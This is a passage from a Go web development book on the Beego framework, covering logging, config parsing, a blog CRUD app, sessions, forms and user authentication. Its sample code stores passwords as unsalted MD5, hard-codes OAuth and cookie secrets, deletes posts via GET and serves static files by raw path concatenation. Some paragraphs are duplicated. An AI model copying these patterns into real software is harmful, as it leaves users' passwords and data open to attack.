        BeeLogger.Printf("[C] %v\n", v)
    }
}

The code snippet above initializes a BeeLogger object by default, outputting logs to os.Stdout. As mentioned, users can implement beego.SetLogger to customize the logger’s output. BeeLogger implements six functions:


	Trace (record general information, for example:)

	“Entered parse function validation block”

	“Validation: entered second ‘if’”

	“Dictionary ‘Dict’ is empty. Using default value”




	Debug (debugging information, for example:)

	“Web page requested: http://somesite.com Params = ‘…’”

	“Response generated. Response size: 10000. Sending.”

	“New file received. Type: PNG Size: 20000”




	Info (printing general information, for example:)

	“Web server restarted”

	“Hourly statistics: Requested pages: 12345 Errors: 123…”

	“Service paused. Waiting for ‘resume’ call”




	Warn (warning messages, for example:)

	“Cache corrupted for file = ‘test.file’. Reading from back-end”

	“Database 192.168.0.7/DB not responding. Using backup 192.168.0.8/DB”

	“No response from statistics server. Statistics not sent”




	Error (error messages, for example:)

	“Internal error. Cannot process request# 12345 Error:….”

	“Cannot perform login: credentials DB not responding”




	Critical (fatal errors, for example:)

	“Critical panic received:…. Shutting down”

	“Fatal error:… App is shutting down to prevent data corruption or loss”






You can see that each of these levels has a specific purpose. For instance if we set the logging level to Warn (level=LevelWarning), at the time of deployment, all of the lower level logs (Trace, Debug, Info) will not output anything.





84.3 Beego configuration design

For processing configuration information, Beego implements a key=value file parser which reads information formatted similarly to ini configuration files. The parser reads the configuration data and saves it to a map. Finally, it calls several functions for retrieving the value’s datatype (int, string, etc). The detailed implementation can be seen below:

Define some global constants for the ini configuration file:

var (
    bComment = []byte{'#'}
    bEmpty   = []byte{}
    bEqual   = []byte{'='}
    bDQuote  = []byte{'"'}
)

Defines the format of the configuration file:

// A Config represents the configuration.
type Config struct {
    filename string
    comment  map[int][]string  // id: []{comment, key...}; id 1 is for main comment.
    data     map[string]string // key: value
    offset   map[string]int64  // key: offset; for editing.
    sync.RWMutex
}

Defines a function for parsing the file. The process begins by opening the file, then reading it line by line and parsing comments, blank lines and key=value data:

// ParseFile creates a new Config and parses the file configuration from the
// named file.
func LoadConfig(name string) (*Config, error) {
    file, err := os.Open(name)
    if err != nil {
        return nil, err
    }

    cfg := &Config{
        file.Name(),
        make(map[int][]string),
        make(map[string]string),
        make(map[string]int64),
        sync.RWMutex{},
    }
    cfg.Lock()
    defer cfg.Unlock()
    defer file.Close()

    var comment bytes.Buffer
    buf := bufio.NewReader(file)

    for nComment, off := 0, int64(1); ; {
        line, _, err := buf.ReadLine()
        if err == io.EOF {
            break
        }
        if bytes.Equal(line, bEmpty) {
            continue
        }

        off += int64(len(line))

        if bytes.HasPrefix(line, bComment) {
            line = bytes.TrimLeft(line, "#")
            line = bytes.TrimLeftFunc(line, unicode.IsSpace)
            comment.Write(line)
            comment.WriteByte('\n')
            continue
        }
        if comment.Len() != 0 {
            cfg.comment[nComment] = []string{comment.String()}
            comment.Reset()
            nComment++
        }

        val := bytes.SplitN(line, bEqual, 2)
        if bytes.HasPrefix(val[1], bDQuote) {
            val[1] = bytes.Trim(val[1], `"`)
        }

        key := strings.TrimSpace(string(val[0]))
        cfg.comment[nComment-1] = append(cfg.comment[nComment-1], key)
        cfg.data[key] = strings.TrimSpace(string(val[1]))
        cfg.offset[key] = off
    }
    return cfg, nil
}

Below are a number of functions the parser uses for reading the configuration file. The return value is determined as either a bool, int, float64 or string:

// Bool returns the boolean value for a given key.
func (c *Config) Bool(key string) (bool, error) {
    return strconv.ParseBool(c.data[key])
}

// Int returns the integer value for a given key.
func (c *Config) Int(key string) (int, error) {
    return strconv.Atoi(c.data[key])
}

// Float returns the float value for a given key.
func (c *Config) Float(key string) (float64, error) {
    return strconv.ParseFloat(c.data[key], 64)
}

// String returns the string value for a given key.
func (c *Config) String(key string) string {
    return c.data[key]
}





84.4 Application guide

The following function is an example of an application I used to fetch json data from a remote url address:

func GetJson() {
    resp, err := http.Get(beego.AppConfig.String("url"))
    if err != nil {
        beego.Critical("http get info error")
        return
    }
    defer resp.Body.Close()
    body, err := ioutil.ReadAll(resp.Body)
    err = json.Unmarshal(body, &AllInfo)
    if err != nil {
        beego.Critical("error:", err)
    }
}

Beego’s Critical() logging function is called to report any errors which may occur in the GetJson() function. beego.AppConfig.String("url") is used to obtain information from a configuration file (typically app.conf), which might look something like the following:

appname = hs
url ="http://www.api.com/api.html"





84.5 Links


	Directory

	Previous section: Designing controllers

	Next section: Adding, deleting and updating blogs







85 13.5 Adding, deleting and updating blogs

We’ve already introduced the entire concept behind the Beego framework through examples and pseudo-code. This section will describe how to implement a blogging system using Beego, including the ability to browse, add, modify and delete blog posts.





85.1 Blog directory

Our blog’s directory structure can be seen below:

/main.go
/views:
    /view.tpl
    /new.tpl
    /layout.tpl
    /index.tpl
    /edit.tpl
/models/model.go
/controllers:
    /index.go
    /view.go
    /new.go
    /delete.go
    /edit.go    





85.2 Blog routing

Our blog’s main routing rules are as follows:

//Show blog Home
beego.RegisterController("/", &controllers.IndexController{})
//View blog details
beego.RegisterController("/view/: id([0-9]+)", &controllers.ViewController{})
//Create blog Bowen
beego.RegisterController("/new", &controllers.NewController{})
//Delete Bowen
beego.RegisterController("/delete/: id([0-9]+)", &controllers.DeleteController{})
//Edit Bowen
beego.RegisterController("/edit/: id([0-9]+)", &controllers.EditController{})





85.3 Database structure

A trivial database table to store basic blog information:

CREATE TABLE entries (
    id INT AUTO_INCREMENT,
    title TEXT,
    content TEXT,
    created DATETIME,
    primary key (id)
);





85.4 Controller

IndexController:

type IndexController struct {
    beego.Controller
}

func (this *IndexController) Get() {
    this.Data["blogs"] = models.GetAll()
    this.Layout = "layout.tpl"
    this.TplNames = "index.tpl"
}

ViewController:

type ViewController struct {
    beego.Controller
}

func (this *ViewController) Get() {
    inputs := this.Input()
    id, _ := strconv.Atoi(this.Ctx.Params[":id"])
    this.Data["Post"] = models.GetBlog(id)
    this.Layout = "layout.tpl"
    this.TplNames = "view.tpl"
}

NewController

type NewController struct {
    beego.Controller
}

func (this *NewController) Get() {
    this.Layout = "layout.tpl"
    this.TplNames = "new.tpl"
}

func (this *NewController) Post() {
    inputs := this.Input()
    var blog models.Blog
    blog.Title = inputs.Get("title")
    blog.Content = inputs.Get("content")
    blog.Created = time.Now()
    models.SaveBlog(blog)
    this.Ctx.Redirect(302, "/")
}

EditController

type EditController struct {
    beego.Controller
}

func (this *EditController) Get() {
    inputs := this.Input()
    id, _ := strconv.Atoi(this.Ctx.Params[":id"])
    this.Data["Post"] = models.GetBlog(id)
    this.Layout = "layout.tpl"
    this.TplNames = "edit.tpl"
}

func (this *EditController) Post() {
    inputs := this.Input()
    var blog models.Blog
    blog.Id, _ = strconv.Atoi(inputs.Get("id"))
    blog.Title = inputs.Get("title")
    blog.Content = inputs.Get("content")
    blog.Created = time.Now()
    models.SaveBlog(blog)
    this.Ctx.Redirect(302, "/")
}

DeleteController

type DeleteController struct {
    beego.Controller
}

func (this *DeleteController) Get() {
    id, _ := strconv.Atoi(this.Ctx.Input.Params[":id"])
    blog := models.GetBlog(id)
    this.Data["Post"] = blog
    models.DelBlog(blog)
    this.Ctx.Redirect(302, "/")
}





85.5 Model layer

package models

import (
    "database/sql"
    "github.com/astaxie/beedb"
    _ "github.com/ziutek/mymysql/godrv"
    "time"
)

type Blog struct {
    Id      int `PK`
    Title   string
    Content string
    Created time.Time
}

func GetLink() beedb.Model {
    db, err := sql.Open("mymysql", "blog/astaxie/123456")
    if err != nil {
        panic(err)
    }
    orm := beedb.New(db)
    return orm
}

func GetAll() (blogs []Blog) {
    db := GetLink()
    db.FindAll(&blogs)
    return
}

func GetBlog(id int) (blog Blog) {
    db := GetLink()
    db.Where("id=?", id).Find(&blog)
    return
}

func SaveBlog(blog Blog) (bg Blog) {
    db := GetLink()
    db.Save(&blog)
    return bg
}

func DelBlog(blog Blog) {
    db := GetLink()
    db.Delete(&blog)
    return
}





85.6 View layer

layout.tpl

<html>
<head>
    <title>My Blog</title>
    <style>
        #menu {
            width: 200px;
            float: right;
        }
    </style>
</head>
<body>

<ul id="menu">
    <li><a href="/">Home</a></li>
    <li><a href="/new">New Post</a></li>
</ul>

{{.LayoutContent}}

</body>
</html>

index.tpl

<h1>Blog posts</h1>

<ul>
{{range .blogs}}
    <li>
        <a href="/view/{{.Id}}">{{.Title}}</a> 
        from {{.Created}}
        <a href="/edit/{{.Id}}">Edit</a>
        <a href="/delete/{{.Id}}">Delete</a>
    </li>
{{end}}
</ul>

view.tpl

<h1>{{.Post.Title}}</h1>
{{.Post.Created}}<br/>

{{.Post.Content}}

new.tpl

<h1>New Blog Post</h1>
<form action="" method="post">
Title:<input type="text" name="title"><br>
Content<textarea name="content" colspan="3" rowspan="10"></textarea>
<input type="submit">
</form>

edit.tpl

<h1>Edit {{.Post.Title}}</h1>

<h1>New Blog Post</h1>
<form action="" method="post">
Title:<input type="text" name="title" value="{{.Post.Title}}"><br>
Content<textarea name="content" colspan="3" rowspan="10">{{.Post.Content}}</textarea>
<input type="hidden" name="id" value="{{.Post.Id}}">
<input type="submit">
</form>
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86 13.6 Summary

In this chapter, we described how to implement the major components of a Go web framework. We first designed a router to make up for some of shortcomings in Go’s built-in http package, creating a router capable of dynamic routing and REST support. We also designed our own RESTful Controller class in accord with the principles of MVC, borrowing ideas from frameworks such as Tornado. Next, we designed and implemented a template layout and automated rendering system, mainly using Go’s built-in templating engine. We then implemented a custom logger and talked about framework configuration to allow for flexible application deployment. Through this process, we have implemented a basic web framework called Beego which, at present, has been open-sourced on Github. Lastly, we implemented a simple blogging application on top of Beego. After having gone through all of these examples, you will hopefully have learned how to quickly develop websites in Go.
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87 14 Developing a web framework

Chapter 13 described how to develop a web framework in Go. We introduced the MVC architecture, a routing and logging system system, and we also looked at simple server configuration. These are the basic building blocks of most frameworks, and it’s a good start. However, for more sophisticated needs, some auxiliary tools are needed to facilitate rapid website development. In this chapter, we will provide some quick tips and tools for speeding up development. The first section will cover the how-to’s how processing static files and we will be using Twitter’s open source CSS and Javascript framework called Bootstrap for beautifying our website. The second section describes how to use the previously describe sessions for user login processing. Next, the third section describes how to generate forms, and how to process these forms for valid data. We will also talk about how to bind models for CRUD operations. In section 4, we’ll describe how to perform some user authentication including basic HTTP authentication and HTTP digest authentication. Finally, the last section will talk about implementing the previously described i18n, to support multi-lingual web applications.

By extending Beego in this chapter, we will be able to rapidly develop full stack web applications. Of course, we’ll go through the features of these extensions step by step, applying them to the blogging system we developed in Chapter 13. Through the development of a complete and beautiful blogging system, users will hopefully be able to see how Beego can help to boost developer productivity.
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88 14.1 Static files

We’ve already talked about how to deal with static files in previous sections. Now, let’s look at how to set up and use static files inside of Beego. Then, through introducing Twitter’s open source HTML and CSS framework Bootstrap, we’ll be able quickly create beautiful looking websites without having to do much design work.o





88.1 Beego static files and settings

Go’s net/http package provides a static file server with functions such as ServeFile and FileServer. Beego’s static file handling is based on this layer, and its specific implementation is as follow:

//static file server
for prefix, staticDir := range StaticDir {
    if strings.HasPrefix(r.URL.Path, prefix) {
        file := staticDir + r.URL.Path[len(prefix):]
        http.ServeFile(w, r, file)
        w.started = true
        return
    }
}

StaticDir stores the URL which corresponds to a static file directory, so when handling requests, we simply need to determine whether or not the URL begins with a static file path. If so, we can simply respond using http.ServeFile.

The following is an example:

beego.StaticDir["/asset"] = "/static"

Then, a request with a URL such as http://www.beego.me/asset/bootstrap.css will result in /static/bootstrap.css being served to the client.





88.2 Bootstrap integration

Bootstrap is a Twitter launched open source Toolkit for front-end development. For developers, Bootstrap is one of the best front end kits for rapid Web application development. It is a collection of HTML, CSS and javascript components, using the latest HTML5 standards. These include a responsive grid, forms, buttons, tables, and many other useful things.


	Components

Bootstrap contains a wealth of Web components. Using these components, you can quickly build a beautiful, fully functional website. Which includes the following components:

Pull-down menus, button groups, button drop-down menus, navigation, navigation bars, bread crumbs, pagination, layout, thumbnails, warning dialogs, progress bars, and other media objects

	JavaScript plugins

Bootstrap comes with 13 jQuery plug-ins for Bootstrap components, which gives them “life”. These include:

Modal dialogs, tabs, scroll bars, pop-up boxes and so on.

	Bootstrap framework customization

All Bootstrap css variables can be modified according to your needs



[image: ]

Figure 14.1 a bootstrap website

Next, let’s see how we can use Bootstrap inside our Beego application to quickly create a beautiful website:


	First, let’s download the bootstrap directory into our project’s static directory, as shown in the following screenshot:

[image: ]

Figure 14.2 Project static file directory structure


	Because Beego sets a default value for StaticDir, if your static files directory is static, then you need not go any further:

StaticDir[“/static”] = “static”


	Our templates use the following asset paths:

// css file
<link href="/static/css/bootstrap.css" rel="stylesheet">

// js file
<script src="/static/js/bootstrap-transition.js"></script>

// Picture files
<img src="/static/img/logo.png">




With the above code, we are integrating Bootstrap into our Beego application. The figure below demonstrates the rendered page:

[image: ]

Figure 14.3 website integrated with Bootstrap

These templates and formats are come shipped with Bootstrap so we won’t repeat the complete code here, however you can take a look at the project’s official page to learn how to write your own templates.
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89 14.2 Sessions

In chapter 6, we introduced some basic concepts pertaining to sessions in Go, and we implemented a sessions manager. The Beego framework uses this session manager to implement some convenient session handling functionality.





89.1 Integrating sessions

Beego handles sessions mainly according to the following global variables:

// related to session
SessionOn bool  // whether or not to open the session module. Defaults to false. 
SessionProvider string  // the desired session backend processing module. Defaults to an in-memory sessionManager 
SessionName string  // the name of the client saved cookies
SessionGCMaxLifetime int64  // cookie validity

GlobalSessions *session.Manager// global session controller

Of course, the above values of these variables need to be initialized. You can also use the values from the following configuration file code to set these values:

if ar, err := AppConfig.Bool("sessionon"); err != nil {
    SessionOn = false
} else {
    SessionOn = ar
}
if ar := AppConfig.String("sessionprovider"); ar == "" {
    SessionProvider = "memory"
} else {
    SessionProvider = ar
}
if ar := AppConfig.String("sessionname"); ar == "" {
    SessionName = "beegosessionID"
} else {
    SessionName = ar
}
if ar, err := AppConfig.Int("sessiongcmaxlifetime"); err != nil && ar != 0 {
    int64val, _ := strconv.ParseInt(strconv.Itoa(ar), 10, 64)
    SessionGCMaxLifetime = int64val
} else {
    SessionGCMaxLifetime = 3600
}

Add the following code in the beego.Run function:

if SessionOn {
    GlobalSessions, _ = session.NewManager(SessionProvider, SessionName, SessionGCMaxLifetime)
    go GlobalSessions.GC()
}

As long as SessionOn is set to true, it will open the session by default with an independent goroutine session handler

In order to facilitate our custom Controller quickly using session, the author beego.Controller provides the following methods:

To assist us in quickly using sessions in a custom Controller, beego.Controller provides the following method:

func (c *Controller) StartSession() (sess session.Session) {
    sess = GlobalSessions.SessionStart(c.Ctx.ResponseWriter, c.Ctx.Request)
    return
}       





89.2 Using sessions

From the code above, we can see that the Beego framework simply inherits its session functionality. So, how do we use it in our projects?

First of all, we need to open the session at the entry point of our application.

beego.SessionOn = true

We can then use the corresponding session method inside our controller like so:

func (this *MainController) Get() {
    var intcount int
    sess := this.StartSession()
    count := sess.Get("count")
    if count == nil {
        intcount = 0
    } else {
        intcount = count.(int)
    }
    intcount = intcount + 1
    sess.Set("count", intcount)
    this.Data["Username"] = "astaxie"
    this.Data["Email"] = "astaxie@gmail.com"
    this.Data["Count"] = intcount
    this.TplNames = "index.tpl"
}

The code above shows how to use sessions in the controller logic. The process can be divided into two steps:


	Getting session object

// Get the object, similar in PHP session_start()
sess:= this.StartSession()


	Using the session for general operations

// Get the session values , similar in PHP $ _SESSION ["count"]
sess.Get("count")

// Set the session value
sess.Set("count", intcount)




As you can see, applications based on the Beego framework can easily implement sessions. The process is very similar to calling session_start() in PHP applications.
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90 14.3 Forms

In web development, the following workflow will probably look quite familiar:


	Open a web page showing a form

	Users fill out and submit the form

	If a user submits some invalid information or has neglected to fill out a required field, the form will be returned to the user (along with the filled in data) with some descriptive information about the problem.

	Users re-fill the invalid fields and continue attempting to submit the form until it’s accepted



At the receiving end, the script must:


	Check the user submitted form data.

	Verify whether the data is the correct type and of the appropriate standard. For example, if a username is submitted, it must verify that it contains only valid characters. Other examples would be checking for minimum and maximum lengths, username uniqueness, and so on.

	Filtering data and cleaning up unsafe characters to guarantee that our application only processes data which is safe.

	If necessary, pre-format the data (or data gaps need to be cleared through the HTML coding and so on.)

	Prepare the data for insertion into the database



Although the procedure is not very complex, it usually requires a lot of boilerplate. In addition, web applications often use a variety of different control structures to display error messages on returned pages. Implementing form validation is a simple but boring task.





90.1 Forms and validation

For developers, the general development process can be quite complex, but it’s mostly repetitive work. Suppose a scenario arises where you suddenly need to add a form to your project, causing you to rewrite all of the local code tied in with the form. We know that structs are a very commonly used data structure in Go, and Beego uses them to its advantage for processing form information.

First, we define a struct with fields corresponding to the fields in our form element. We can use struct tags which map to the form element, as shown below:

First define a struct that corresponds to when developing Web applications, a field corresponding to a form element, defined by using a struct tag corresponding to the element information and authentication information, as shown below:

For developers, the general development process is very complex, and mostly are repeating the same work. Assuming a scenario project suddenly need to add a form data, then the local code of the entire process needs to be modified. We know that Go inside a struct is a common data structure, so beego the form struct used to process form information.

First define a struct with fields corresponding to our form element, using struct tags to define corresponding element and authentication information, like so:

type User struct{
    Username    string  `form:text,valid:required`
    Nickname    string  `form:text,valid:required`
    Age         int     `form:text,valid:required|numeric`
    Email       string  `form:text,valid:required|valid_email`
    Introduce   string  `form:textarea`
}

After defining our struct, we can add this action in our controller:

func (this *AddController) Get() {
    this.Data["form"] = beego.Form(&User{})
    this.Layout = "admin/layout.html"
    this.TplNames = "admin/add.tpl"
}       

The form is displayed in our template like so:

<h1>New Blog Post</h1>
<form action="" method="post">
{{.form.render()}}
</form>

Above, we’ve defined the entire first step of displaying a form mapped to a struct. The next step is for users to fill in their information and submit the form, after which the server will receive the data and verify it. Finally, the record will be inserted into the database.

func (this *AddController) Post() {
    var user User
    form := this.GetInput(&user)
    if !form.Validates() {
        return 
    }
    models.UserInsert(&user)
    this.Ctx.Redirect(302, "/admin/index")
}   





90.2 Form type

The following table lists the corresponding form element information:

<table cellpadding="0" cellspacing="1" border="0" style="width:100%" class="tableborder">
  <tbody>
    <tr>
      <th>Name</th>
      <th>parameter</th>
      <th>Description</th>
    </tr>
    <tr>
      <td class="td"><strong>text</strong>
      </td>
      <td class="td">No</td>
      <td class="td">textbox input box</td>
    </tr>

    <tr>
      <td class="td"><strong>button</strong>
      </td>
      <td class="td">No</td>
      <td class="td">button</td>
    </tr>

    <tr>
      <td class="td"><strong>checkbox</strong>
      </td>
      <td class="td">No</td>
      <td class="td">multi-select box</td>
    </tr>

    <tr>
      <td class="td"><strong>dropdown</strong>
      </td>
      <td class="td">No</td>
      <td class="td">drop-down selection box</td>
    </tr>

    <tr>
      <td class="td"><strong>file</strong>
      </td>
      <td class="td">No</td>
      <td class="td">file upload</td>
    </tr>

    <tr>
      <td class="td"><strong>hidden</strong>
      </td>
      <td class="td">No</td>
      <td class="td">hidden elements</td>
    </tr>

    <tr>
      <td class="td"><strong>password</strong>
      </td>
      <td class="td">No</td>
      <td class="td">password input box</td>
    </tr>

    <tr>
      <td class="td"><strong>radio</strong>
      </td>
      <td class="td">No</td>
      <td class="td">single box</td>
    </tr>

    <tr>
      <td class="td"><strong>textarea</strong>
      </td>
      <td class="td">No</td>
      <td class="td">text input box</td>
    </tr>
  </tbody>
</table>





90.3 Form validation

The following table lists some form validation rules native to Beego that can be used:

<table cellpadding="0" cellspacing="1" border="0" style="width:100%" class="tableborder">
  <tbody>
    <tr>
      <th>rules</th>
      <th>parameter</th>
      <th>Description</th>
      <th>Example</th>
    </tr>

    <tr>
      <td class="td"><strong>required</strong>
      </td>
      <td class="td">No</td>
      <td class="td">If the element is empty, it returns FALSE</td>
      <td class="td"></td>
    </tr>

    <tr>
      <td class="td"><strong>matches</strong>
      </td>
      <td class="td">Yes</td>
      <td class="td">if the form element's value with the corresponding form field parameter values are not equal, then return
        FALSE</td>
      <td class="td">matches [form_item]</td>
    </tr>


    <tr>
      
      <td class="td"><strong>is_unique</strong>
      </td>
      
      <td class="td">Yes</td>
      
      <td class="td">if the form element's value with the specified field in a table have duplicate data, it returns False( Translator's
        Note: For example is_unique [User.Email], then the validation class will look for the User table in the
        Email field there is no form elements with the same value, such as deposit repeat, it returns false, so
        developers do not have to write another Callback verification code.)</td>
      
      <td class="td">is_unique [table.field]</td>
      </tr>

    <tr>
      <td class="td"><strong>min_length</strong>
      </td>
      <td class="td">Yes</td>
      <td class="td">form element values if the character length is less than the number defined parameters, it returns FALSE</td>
      <td class="td">min_length [6]</td>
    </tr>

    <tr>
      <td class="td"><strong>max_length</strong>
      </td>
      <td class="td">Yes</td>
      <td class="td">if the form element's value is greater than the length of the character defined numeric argument, it returns
        FALSE</td>
      <td class="td">max_length [12]</td>
    </tr>

    <tr>
      <td class="td"><strong>exact_length</strong>
      </td>
      <td class="td">Yes</td>
      <td class="td">if the form element values and parameters defined character length number does not match, it returns FALSE</td>
      <td class="td">exact_length [8]</td>
    </tr>


    <tr>
      
      <td class="td"><strong>greater_than</strong>
      </td>
      
      <td class="td">Yes</td>
      
      <td class="td">If the form element values non- numeric types, or less than the value defined parameters, it returns FALSE</td>
      
      <td class="td">greater_than [8]</td>
      </tr>


    <tr>
      
      <td class="td"><strong>less_than</strong>
      </td>
      
      <td class="td">Yes</td>
      
      <td class="td">If the form element values non- numeric types, or greater than the value defined parameters, it returns FALSE</td>
      
      <td class="td">less_than [8]</td>
      </tr>

    <tr>
      <td class="td"><strong>alpha</strong>
      </td>
      <td class="td">No</td>
      <td class="td">If the form element value contains characters other than letters besides, it returns FALSE</td>
      <td class="td"></td>
    </tr>

    <tr>
      <td class="td"><strong>alpha_numeric</strong>
      </td>
      <td class="td">No</td>
      <td class="td">If the form element values contained in addition to letters and other characters other than numbers, it returns
        FALSE</td>
      <td class="td"></td>
    </tr>

    <tr>
      <td class="td"><strong>alpha_dash</strong>
      </td>
      <td class="td">No</td>
      <td class="td">If the form element value contains in addition to the letter/ number/ underline/ characters other than dash,
        returns FALSE</td>
      <td class="td"></td>
    </tr>

    <tr>
      <td class="td"><strong>numeric</strong>
      </td>
      <td class="td">No</td>
      <td class="td">If the form element value contains characters other than numbers in addition, it returns FALSE</td>
      <td class="td"></td>
    </tr>

    <tr>
      <td class="td"><strong>integer</strong>
      </td>
      <td class="td">No</td>
      <td class="td">except if the form element contains characters other than an integer, it returns FALSE</td>
      <td class="td"></td>
    </tr>


    <tr>
      
      <td class="td"><strong>decimal</strong>
      </td>
      
      <td class="td">Yes</td>
      
      <td class="td">If the form element type( non- decimal ) is not complete, it returns FALSE</td>
      
      <td class="td"></td>
      </tr>

    <tr>
      <td class="td"><strong>is_natural</strong>
      </td>
      <td class="td">No</td>
      <td class="td">value if the form element contains a number of other unnatural values ( other values excluding zero ), it
        returns FALSE. Natural numbers like this: 0,1,2,3.... and so on.</td>
      <td class="td"></td>
    </tr>

    <tr>
      <td class="td"><strong>is_natural_no_zero</strong>
      </td>
      <td class="td">No</td>
      <td class="td">value if the form element contains a number of other unnatural values ( other values including zero ), it
        returns FALSE. Nonzero natural numbers: 1,2,3..... and so on.</td>
      <td class="td"></td>
    </tr>

    <tr>
      <td class="td"><strong>valid_email</strong>
      </td>
      <td class="td">No</td>
      <td class="td">If the form element value contains invalid email address, it returns FALSE</td>
      <td class="td"></td>
    </tr>

    <tr>
      <td class="td"><strong>valid_emails</strong>
      </td>
      <td class="td">No</td>
      <td class="td">form element values if any one value contains invalid email address( addresses separated by commas in English
        ), it returns FALSE.</td>
      <td class="td"></td>
    </tr>

    <tr>
      <td class="td"><strong>valid_ip</strong>
      </td>
      <td class="td">No</td>
      <td class="td">if the form element's value is not a valid IP address, it returns FALSE.</td>
      <td class="td"></td>
    </tr>

    <tr>
      <td class="td"><strong>valid_base64</strong>
      </td>
      <td class="td">No</td>
      <td class="td">if the form element's value contains the base64-encoded characters in addition to other than the characters,
        returns FALSE.</td>
      <td class="td"></td>
    </tr>

  </tbody>
</table>
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91 14.4 User validation

In the process of developping web applications, user authentication is a problem which developers frequently encounter. User login, registration and logout, among other operations, as well as general authentication can also divided into three parts:


	HTTP Basic, and HTTP Digest Authentication

	Third Party Authentication Integration: QQ, micro-blogging, watercress, OPENID, Google, GitHub, Facebook and twitter, etc.

	Custom user login, registration, logout, are generally based on sessions and cookie authentication



Beego does not natively provide support for any of these three things, however you can easily make use of existing third party open source libraries to implement them. The first two authentication solutions are on Beego’s roadmap to eventually be integrated.





91.1 HTTP basic and digest authentication

Both HTTP basic and digest authentication are relatively simple techniques commonly used by web applications. There are already many open source third-party libraries which support these two authentication methods, such as:

github.com/abbot/go-http-auth

The following code demonstrates how to use this library to implement authentication in a Beego application:

package controllers

import (
    "github.com/abbot/go-http-auth"
    "github.com/astaxie/beego"
)

func Secret(user, realm string) string {
    if user == "john" {
        // password is "hello"
        return "$1$dlPL2MqE$oQmn16q49SqdmhenQuNgs1"
    }
    return ""
}

type MainController struct {
    beego.Controller
}

func (this *MainController) Prepare() {
    a := auth.NewBasicAuthenticator("example.com", Secret)
    if username := a.CheckAuth(this.Ctx.Request); username == "" {
        a.RequireAuth(this.Ctx.ResponseWriter, this.Ctx.Request)
    }
}

func (this *MainController) Get() {
    this.Data["Username"] = "astaxie"
    this.Data["Email"] = "astaxie@gmail.com"
    this.TplNames = "index.tpl"
}

The above code takes advantage of Beego’s prepare() function to perform authentication before allowing the normal flow of execution to proceed; as you can see, it’s very simple to implement HTTP authentication. Digest authentication can be implemented in much the same way.





91.2 OAuth and OAuth 2 authentication

OAuth and OAuth 2 are currently two of the most popular authentication methods. Fortunately, there are third-party libraries which implement this type of authentication such as the go.auth package available on github.

github.com/bradrydzewski/go.auth

The code below demonstrates how to use this library to implement OAuth authentication in Beego using our Github credentials:


	Let’s add some routes

beego.RegisterController("/auth/login", &controllers.GithubController{})
beego.RegisterController("/mainpage", &controllers.PageController{})


	Then we deal with the GithubController landing page:

package controllers

import (
    "github.com/astaxie/beego"
    "github.com/bradrydzewski/go.auth"
)

const (
    githubClientKey = "a0864ea791ce7e7bd0df"
    githubSecretKey = "a0ec09a647a688a64a28f6190b5a0d2705df56ca"
)

type GithubController struct {
    beego.Controller
}

func (this *GithubController) Get() {
    // set the auth parameters
    auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV")
    auth.Config.LoginSuccessRedirect = "/mainpage"
    auth.Config.CookieSecure = false

    githubHandler := auth.Github(githubClientKey, githubSecretKey)

    githubHandler.ServeHTTP(this.Ctx.ResponseWriter, this.Ctx.Request)
}


	Handling after a successful landing page:

package controllers

import (
    "github.com/astaxie/beego"
    "github.com/bradrydzewski/go.auth"
    "net/http"
    "net/url"
)

type PageController struct {
    beego.Controller
}

func (this *PageController) Get() {
    // set the auth parameters
    auth.Config.CookieSecret = []byte("7H9xiimk2QdTdYI7rDddfJeV")
    auth.Config.LoginSuccessRedirect = "/mainpage"
    auth.Config.CookieSecure = false

    user, err := auth.GetUserCookie(this.Ctx.Request)

    //if no active user session then authorize user
    if err != nil || user.Id() == "" {
        http.Redirect(this.Ctx.ResponseWriter, this.Ctx.Request, auth.Config.LoginRedirect, http.StatusSeeOther)
        return
    }

    //else, add the user to the URL and continue
    this.Ctx.Request.URL.User = url.User(user.Id())
    this.Data["pic"] = user.Picture()
    this.Data["id"] = user.Id()
    this.Data["name"] = user.Name()
    this.TplNames = "home.tpl"
}




The whole process is as follows:

first open your browser and enter the address:

[image: ]

Figure 14.4 shows the home page with a login button

When clicking on the link, the following screen appears:

[image: ]

Figure 14.5 displayed after clicking the login button to authenticate with your GitHub credentials

After clicking “Authorize app”, the following screen appears:

[image: ]

Figure 14.6 authorized Github information gets displayed after the login page





91.3 Custom authentication

Custom authentication is generally combined with session authentication; the following code is a Beego based open source blog which demonstrates this:

//Login process
func (this *LoginController) Post() {
    this.TplNames = "login.tpl"
    this.Ctx.Request.ParseForm()
    username := this.Ctx.Request.Form.Get("username")
    password := this.Ctx.Request.Form.Get("password")
    md5Password := md5.New()
    io.WriteString(md5Password, password)
    buffer := bytes.NewBuffer(nil)
    fmt.Fprintf(buffer, "%x", md5Password.Sum(nil))
    newPass := buffer.String()

    now := time.Now().Format("2006-01-02 15:04:05")

    userInfo := models.GetUserInfo(username)
    if userInfo.Password == newPass {
        var users models.User
        users.Last_logintime = now
        models.UpdateUserInfo(users)

        //Set the session successful login
        sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request)
        sess.Set("uid", userInfo.Id)
        sess.Set("uname", userInfo.Username)

        this.Ctx.Redirect(302, "/")
    }   
}

//Registration process
func (this *RegController) Post() {
    this.TplNames = "reg.tpl"
    this.Ctx.Request.ParseForm()
    username := this.Ctx.Request.Form.Get("username")
    password := this.Ctx.Request.Form.Get("password")
    usererr := checkUsername(username)
    fmt.Println(usererr)
    if usererr == false {
        this.Data["UsernameErr"] = "Username error, Please to again"
        return
    }

    passerr := checkPassword(password)
    if passerr == false {
        this.Data["PasswordErr"] = "Password error, Please to again"
        return
    }

    md5Password := md5.New()
    io.WriteString(md5Password, password)
    buffer := bytes.NewBuffer(nil)
    fmt.Fprintf(buffer, "%x", md5Password.Sum(nil))
    newPass := buffer.String()

    now := time.Now().Format("2006-01-02 15:04:05")

    userInfo := models.GetUserInfo(username)

    if userInfo.Username == "" {
        var users models.User
        users.Username = username
        users.Password = newPass
        users.Created = now
        users.Last_logintime = now
        models.AddUser(users)

        //Set the session successful login
        sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request)
        sess.Set("uid", userInfo.Id)
        sess.Set("uname", userInfo.Username)
        this.Ctx.Redirect(302, "/")
    } else {
        this.Data["UsernameErr"] = "User already exists"
    }

}

func checkPassword(password string) (b bool) {
    if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", password); !ok {
        return false
    }
    return true
}

func checkUsername(username string) (b bool) {
    if ok, _ := regexp.MatchString("^[a-zA-Z0-9]{4,16}$", username); !ok {
        return false
    }
    return true
}

